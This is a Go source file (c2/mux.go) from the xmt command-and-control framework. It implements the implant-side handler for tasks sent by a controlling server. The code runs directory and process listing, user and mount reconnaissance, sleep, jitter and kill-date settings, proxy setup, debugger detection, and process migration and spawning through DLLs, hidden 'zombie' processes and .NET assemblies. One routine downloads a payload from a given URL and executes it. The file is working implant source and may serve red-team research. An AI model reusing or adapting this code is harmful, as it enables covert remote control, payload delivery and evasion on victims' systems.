github.com/iDigitalFlame/xmt@v0.5.4/c2/mux.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package c2 18 19 import ( 20 "context" 21 "io" 22 "os" 23 "syscall" 24 "time" 25 26 "github.com/iDigitalFlame/xmt/c2/cfg" 27 "github.com/iDigitalFlame/xmt/c2/cout" 28 "github.com/iDigitalFlame/xmt/c2/task" 29 "github.com/iDigitalFlame/xmt/cmd" 30 "github.com/iDigitalFlame/xmt/cmd/filter" 31 "github.com/iDigitalFlame/xmt/com" 32 "github.com/iDigitalFlame/xmt/data" 33 "github.com/iDigitalFlame/xmt/device" 34 "github.com/iDigitalFlame/xmt/device/local" 35 "github.com/iDigitalFlame/xmt/man" 36 "github.com/iDigitalFlame/xmt/util/bugtrack" 37 "github.com/iDigitalFlame/xmt/util/xerr" 38 ) 39 40 const fourOhFour = "0x404" 41 42 const ( 43 _ uint8 = 1 << iota 44 flagNoReturnOutput 45 flagStopOnError 46 ) 47 48 var ( 49 _ runnable = (*cmd.DLL)(nil) 50 _ runnable = (*cmd.Zombie)(nil) 51 _ runnable = (*cmd.Process)(nil) 52 _ runnable = (*cmd.Assembly)(nil) 53 ) 54 55 var errInvalidTask = xerr.Sub(fourOhFour, 0xFE) 56 57 func muxHandleSpawnAsync(s *Session, n *com.Packet) { 58 if bugtrack.Enabled { 59 defer bugtrack.Recover("c2.muxHandleSpawnAsync()") 60 } 61 w := &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID} 62 muxHandleSend(s, n, w, muxHandleSpawnSync(s, n, w)) 63 n.Clear() 64 w, n = nil, nil 65 } 66 func muxHandleScriptAsync(s *Session, n *com.Packet) { 67 if bugtrack.Enabled { 68 defer bugtrack.Recover("c2.muxHandleScriptAsync()") 69 } 70 w := &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID} 71 muxHandleSend(s, n, w, muxHandleScript(s, n, w)) 72 n.Clear() 73 w, n = nil, nil 74 } 75 func defaultClientMux(s *Session, n *com.Packet) bool { 76 if n.ID < task.MvRefresh || n.ID == RvResult { 77 return false 78 } 79 if cout.Enabled { 80 s.log.Debug(`[%s/MuX] Received packet %s.`, s.ID, n) 81 } 82 switch { 83 case n.ID == task.MvSpawn: 84 go muxHandleSpawnAsync(s, n) 85 return true 86 case n.ID == task.MvScript: 87 go muxHandleScriptAsync(s, n) 88 return true 89 case n.ID > RvResult: 90 go muxHandleExternalAsync(s, n) 91 return true 92 } 93 var ( 94 w = &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID} 95 err = muxHandleInternal(s, n, w) 96 ) 97 if err == nil && n.ID == task.MvMigrate { 98 if w.Clear(); cout.Enabled { 99 s.log.Info("[%s/Mux] Migrate Job %d passed, not sending response back!", s.ID, n.Job) 100 } 101 n.Clear() 102 n, w = nil, nil 103 return true 104 } 105 muxHandleSend(s, n, w, err) 106 n.Clear() 107 w, n = nil, nil 108 return true 109 } 110 func muxHandleExternalAsync(s *Session, n *com.Packet) { 111 if bugtrack.Enabled { 112 defer bugtrack.Recover("c2.muxHandleExternalAsync()") 113 } 114 var ( 115 w = &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID} 116 t = task.Mappings[n.ID] 117 ) 118 if t == nil { 119 if w.WriteString(fourOhFour); cout.Enabled { 120 s.log.Warning("[%s/MuX] Received Packet ID 0x%X with no Task mapping!", s.ID, n.ID) 121 } 122 w.Flags |= com.FlagError 123 muxHandleSend(s, n, w, nil) 124 n.Clear() 125 n = nil 126 return 127 } 128 if n.ID == task.TvWait { 129 if cout.Enabled { 130 s.log.Warning("[%s/MuX] Skipping non-Script WAIT Task!", s.ID) 131 } 132 muxHandleSend(s, n, w, nil) 133 n.Clear() 134 n = nil 135 return 136 } 137 if cout.Enabled { 138 s.log.Trace("[%s/MuX] Starting async Task for Job %d.", s.ID, n.Job) 139 } 140 muxHandleSend(s, n, w, t(s.ctx, n, w)) 141 n.Clear() 142 t, n = nil, nil 143 } 144 func muxHandleScript(s *Session, n, w *com.Packet) error { 145 if cout.Enabled { 146 s.log.Trace("[%s/MuX] Starting Script Task for Job %d.", s.ID, n.Job) 147 } 148 o, err := n.Uint8() 149 if err != nil { 150 return err 151 } 152 var ( 153 b = buffers.Get().(*data.Chunk) 154 e = o&flagStopOnError != 0 155 r = o&flagNoReturnOutput == 0 156 d []byte 157 z uint8 158 v com.Packet 159 t task.Tasker 160 ) 161 loop: 162 for err = nil; err == nil; b.Reset() { 163 v.Reset() 164 if err = n.ReadUint8(&v.ID); err != nil { 165 break 166 } 167 if err = n.ReadBytes(&d); err != nil && err != io.EOF { 168 break 169 } 170 v.Grow(len(d)) 171 v.Write(d) 172 w.WriteUint8(v.ID) 173 switch d, err = nil, nil; { 174 case v.ID == task.MvScript: 175 if cout.Enabled { 176 s.log.Warning("[%s/MuX] Attempted to run a Script packed in Script!", s.ID) 177 } 178 if e { 179 err = syscall.EINVAL 180 break loop 181 } 182 w.WriteBool(false) 183 w.WriteString(syscall.EINVAL.Error()) 184 continue loop 185 case v.ID == task.MvSpawn: 186 err = muxHandleSpawnSync(s, &v, b) 187 case v.ID < RvResult: 188 switch err = muxHandleInternal(s, &v, b); { 189 case err == nil && v.ID == task.MvRefresh: 190 z = infoRefresh 191 case err == nil && (v.ID == task.MvTime || v.ID == task.MvProfile): 192 z = infoSync 193 } 194 default: 195 if t = task.Mappings[v.ID]; t == nil { 196 if e { 197 err = errInvalidTask 198 break loop 199 } 200 w.WriteBool(false) 201 w.WriteString(fourOhFour) 202 continue loop 203 } 204 err = t(s.ctx, &v, b) 205 } 206 if err != nil { 207 if !e { 208 w.WriteBool(false) 209 w.WriteString(err.Error()) 210 err = nil 211 continue loop 212 } 213 break loop 214 } 215 if w.WriteBool(true); r && b.Size() > 0 { 216 w.WriteBytes(b.Payload()) 217 continue loop 218 } 219 w.WriteInt8(0) 220 } 221 b.Clear() 222 v.Clear() 223 // Update the server when a MvTime/MvRefresh/MvProfile was in a script. 224 // This packet is a special type that is associated with a Job. If the Job 225 // does not exist, the Packet is disregarded. 226 if n.Clear(); z > 0 { 227 s.writeDeviceInfo(infoSync, w) 228 q := &com.Packet{ID: SvResync, Job: n.Job, Device: s.ID} 229 q.WriteUint8(z) 230 s.writeDeviceInfo(z, q) 231 s.queue(q) 232 } 233 if buffers.Put(b); err == io.EOF { 234 return nil 235 } 236 return err 237 } 238 func muxHandleSend(s *Session, n, w *com.Packet, e error) { 239 if e != nil { 240 w.Clear() 241 w.Flags |= com.FlagError 242 if w.WriteString(e.Error()); cout.Enabled { 243 s.log.Error("[%s/MuX] Error during Job %d runtime: %s!", s.ID, n.Job, e.Error()) 244 } 245 } else if cout.Enabled { 246 s.log.Trace("[%s/MuX] Task with Job %d completed!", s.ID, n.Job) 247 } 248 // NOTE(dij): For now, we're gonna let these block. 249 // I'll track and see if they should throw errors instead. 250 s.write(true, w) 251 } 252 func muxHandleInternal(s *Session, n *com.Packet, w data.Writer) error { 253 switch n.ID { 254 case task.MvPwd: 255 d, err := syscall.Getwd() 256 if err != nil { 257 return err 258 } 259 w.WriteString(d) 260 return nil 261 case task.MvCwd: 262 d, err := n.StringVal() 263 if err != nil { 264 return err 265 } 266 return syscall.Chdir(device.Expand(d)) 267 case task.MvList: 268 d, err := n.StringVal() 269 if err != nil { 270 return err 271 } 272 if len(d) == 0 { 273 d = "." 274 } else { 275 d = device.Expand(d) 276 } 277 s, err := os.Stat(d) 278 if err != nil { 279 return err 280 } 281 if !s.IsDir() { 282 w.WriteUint32(1) 283 w.WriteString(s.Name()) 284 w.WriteInt32(int32(s.Mode())) 285 w.WriteInt64(s.Size()) 286 w.WriteInt64(s.ModTime().Unix()) 287 return nil 288 } 289 var l []data.DirEntry 290 if l, err = data.ReadDir(d); err != nil { 291 return err 292 } 293 w.WriteUint32(uint32(len(l))) 294 for i, m := uint32(0), uint32(len(l)); i < m; i++ { 295 w.WriteString(l[i].Name()) 296 if x, err := l[i].Info(); err == nil { 297 w.WriteInt32(int32(x.Mode())) 298 w.WriteInt64(x.Size()) 299 w.WriteInt64(x.ModTime().Unix()) 300 continue 301 } 302 w.WriteInt32(0) 303 w.WriteInt64(0) 304 w.WriteInt64(0) 305 } 306 return nil 307 case task.MvTime: 308 t, err := n.Uint8() 309 if err != nil { 310 return err 311 } 312 switch t { 313 case timeSleepJitter: 314 j, err1 := n.Int8() 315 if err1 != nil { 316 return err1 317 } 318 d, err1 := n.Int64() 319 if err1 != nil { 320 return err1 321 } 322 switch { 323 case j == -1: 324 // NOTE(dij): This handles a special case where Script packets are 325 // used to set the sleep/jitter since they don't have access 326 // to the previous values. 327 // A packet with a '-1' Jitter value will be ignored. 328 case j > 100: 329 s.jitter = 100 330 case j < 0: 331 s.jitter = 0 332 default: 333 s.jitter = uint8(j) 334 } 335 if d > 0 { 336 // NOTE(dij): Ditto here, except for sleep. Anything less than zero 337 // will work. 338 s.sleep = time.Duration(d) 339 } 340 case timeKillDate: 341 u, err1 := n.Int64() 342 if err1 != nil { 343 return err1 344 } 345 if u == 0 { 346 s.kill = time.Time{} 347 } else { 348 s.kill = time.Unix(u, 0) 349 } 350 case timeWorkHours: 351 var w cfg.WorkHours 352 if err = w.UnmarshalStream(n); err != nil { 353 return err 354 } 355 if s.work != nil { 356 s.Wake() 357 } 358 if w.Empty() { 359 s.work = nil 360 } else { 361 s.work = &w 362 } 363 } 364 s.writeDeviceInfo(infoSync, w) 365 return nil 366 case task.MvProxy: 367 var ( 368 v string 369 r uint8 370 ) 371 if err := n.ReadString(&v); err != nil { 372 return err 373 } 374 if err := n.ReadUint8(&r); err != nil { 375 return err 376 } 377 if r == 0 { 378 if i := s.Proxy(v); i != nil { 379 if err := i.Close(); err != nil { 380 return err 381 } 382 s.writeDeviceInfo(infoProxy, w) 383 return nil 384 } 385 return os.ErrNotExist 386 } 387 var ( 388 b string 389 k []byte 390 ) 391 if err := n.ReadString(&b); err != nil { 392 return err 393 } 394 if err := n.ReadBytes(&k); err != nil { 395 return err 396 } 397 p, err := parseProfile(k) 398 if err != nil { 399 return xerr.Wrap("parse Profile", err) 400 } 401 if r == 1 { 402 if i := s.Proxy(v); i != nil { 403 if err = i.Replace(b, p); err != nil { 404 return err 405 } 406 s.writeDeviceInfo(infoProxy, w) 407 return nil 408 } 409 return os.ErrNotExist 410 } 411 if _, err = s.NewProxy(v, b, p); err != nil { 412 return err 413 } 414 s.writeDeviceInfo(infoProxy, w) 415 return nil 416 case task.MvMounts: 417 m, err := device.Mounts() 418 if err != nil { 419 return err 420 } 421 data.WriteStringList(w, m) 422 return nil 423 case task.MvWhoami: 424 u, err := device.Whoami() 425 if err != nil { 426 return err 427 } 428 e, _ := os.Executable() 429 w.WriteString(u) 430 w.WriteString(e) 431 return nil 432 case task.MvMigrate: 433 var ( 434 k bool 435 i string 436 p []byte 437 ) 438 if err := n.ReadBool(&k); err != nil { 439 return err 440 } 441 if err := n.ReadString(&i); err != nil { 442 return err 443 } 444 if err := n.ReadBytes(&p); err != nil { 445 return err 446 } 447 e, v, err := readCallable(s.ctx, true, n) 448 if err != nil { 449 return err 450 } 451 if _, err = s.MigrateProfile(k, i, p, n.Job, spawnDefaultTime, e); err != nil { 452 if len(v) > 0 { 453 os.Remove(v) 454 } 455 return err 456 } 457 return nil 458 case task.MvRefresh: 459 if cout.Enabled { 460 s.log.Debug("[%s] Triggering a device refresh.", s.ID) 461 } 462 if err := local.Device.Refresh(); err != nil { 463 return err 464 } 465 s.Device = local.Device.Machine 466 s.writeDeviceInfo(infoRefresh, w) 467 return nil 468 case task.MvProfile: 469 b, err := n.Bytes() 470 if err != nil { 471 return err 472 } 473 p, err := parseProfile(b) 474 if err != nil { 475 return xerr.Wrap("parse Profile", err) 476 } 477 if s.swap = p; cout.Enabled { 478 s.log.Debug("[%s] Setting new profile, switch will happen on next connect cycle.", s.ID) 479 } 480 s.writeDeviceInfo(infoSync, w) 481 return nil 482 case task.MvProcList: 483 e, err := cmd.Processes() 484 if err != nil { 485 return err 486 } 487 if err = w.WriteUint32(uint32(len(e))); err != nil { 488 return err 489 } 490 if len(e) == 0 { 491 return nil 492 } 493 for i, m := uint32(0), uint32(len(e)); i < m; i++ { 494 if err = e[i].MarshalStream(w); err != nil { 495 return err 496 } 497 } 498 return nil 499 case task.MvCheckDebug: 500 w.WriteBool(device.IsDebugged()) 501 return nil 502 } 503 // Shouldn't happen 504 return errInvalidTask 505 } 506 func muxHandleSpawnSync(s *Session, n *com.Packet, w data.Writer) error { 507 if cout.Enabled { 508 s.log.Info("[%s/MuX] Starting Spawn Task for Job %d.", s.ID, n.Job) 509 } 510 var ( 511 i string 512 p []byte 513 err = n.ReadString(&i) 514 ) 515 if err != nil { 516 return err 517 } 518 if err = n.ReadBytes(&p); err != nil { 519 return err 520 } 521 e, v, err := readCallable(s.ctx, false, n) 522 if err != nil { 523 return err 524 } 525 var c uint32 526 if c, err = s.SpawnProfile(i, p, 0, e); err != nil { 527 if len(v) > 0 { 528 os.Remove(v) 529 } 530 return err 531 } 532 w.WriteUint32(c) 533 return nil 534 } 535 func readCallable(x context.Context, m bool, r data.Reader) (cmd.Runnable, string, error) { 536 var ( 537 f *filter.Filter 538 err = filter.UnmarshalStream(r, &f) 539 ) 540 if err != nil { 541 return nil, "", err 542 } 543 var ( 544 e cmd.Runnable 545 j bool 546 v string 547 t uint8 548 ) 549 if err = r.ReadUint8(&t); err != nil { 550 return nil, "", err 551 } 552 // NOTE(dij): We're using the Background context here as we don't want 553 // cancellation for this process as we're creating it to 554 // succeed us (or be independent). 555 switch t { 556 case task.TvDLL: 557 var d *cmd.DLL 558 if d, _, j, err = task.DLLUnmarshal(context.Background(), r); err != nil { 559 return nil, "", err 560 } 561 if d.Timeout = 0; j { 562 v = d.Path 563 } 564 e = d 565 case task.TvZombie: 566 var z *cmd.Zombie 567 if z, _, err = task.ZombieUnmarshal(context.Background(), r); err != nil { 568 return nil, "", err 569 } 570 z.Timeout = 0 571 // NOTE(dij): I'm assuming these would be /wanted/ yes? 572 z.SetNoWindow(true) 573 z.SetWindowDisplay(0) 574 e = z 575 case task.TvExecute: 576 var p *cmd.Process 577 if p, _, err = task.ProcessUnmarshal(context.Background(), r); err != nil { 578 return nil, "", err 579 } 580 p.Timeout = 0 581 // NOTE(dij): I'm assuming these would be /wanted/ yes? 582 p.SetNoWindow(true) 583 p.SetWindowDisplay(0) 584 e = p 585 case task.TvAssembly: 586 var a *cmd.Assembly 587 if a, _, err = task.AssemblyUnmarshal(context.Background(), r); err != nil { 588 return nil, "", err 589 } 590 a.Timeout = 0 591 e = a 592 case task.TvPullExecute: 593 var u, q string 594 if err = r.ReadString(&u); err != nil { 595 return nil, "", err 596 } 597 if err = r.ReadString(&q); err != nil { 598 return nil, "", err 599 } 600 // NOTE(dij): We HAVE to set the Context as the parent to avoid 601 // io locking issues. *shrug* Luckily, the 'Release' function 602 // does it job! 603 if e, v, err = man.WebExec(x, nil, u, q); err != nil { 604 return nil, "", err 605 } 606 default: 607 if v, err = os.Executable(); err != nil { 608 return nil, "", err 609 } 610 c := cmd.NewProcessContext(context.Background(), v) 611 c.SetNoWindow(true) 612 c.SetWindowDisplay(0) 613 e = c 614 } 615 if e.SetParent(f); !j { 616 v = "" 617 } 618 // Check if we are Migrating (m == true) and if we have an empty filter first. 619 if m && f == nil || f.Empty() { 620 if _, ok := e.(*cmd.Assembly); ok { 621 // Refusing to run Migrate that is NOT A SEPARATE process WITHOUT A 622 // non-empty/nil Filter. 623 // This will cause migrate to go through and then crash. 624 return nil, "", filter.ErrNoProcessFound 625 } 626 } 627 return e, v, nil 628 }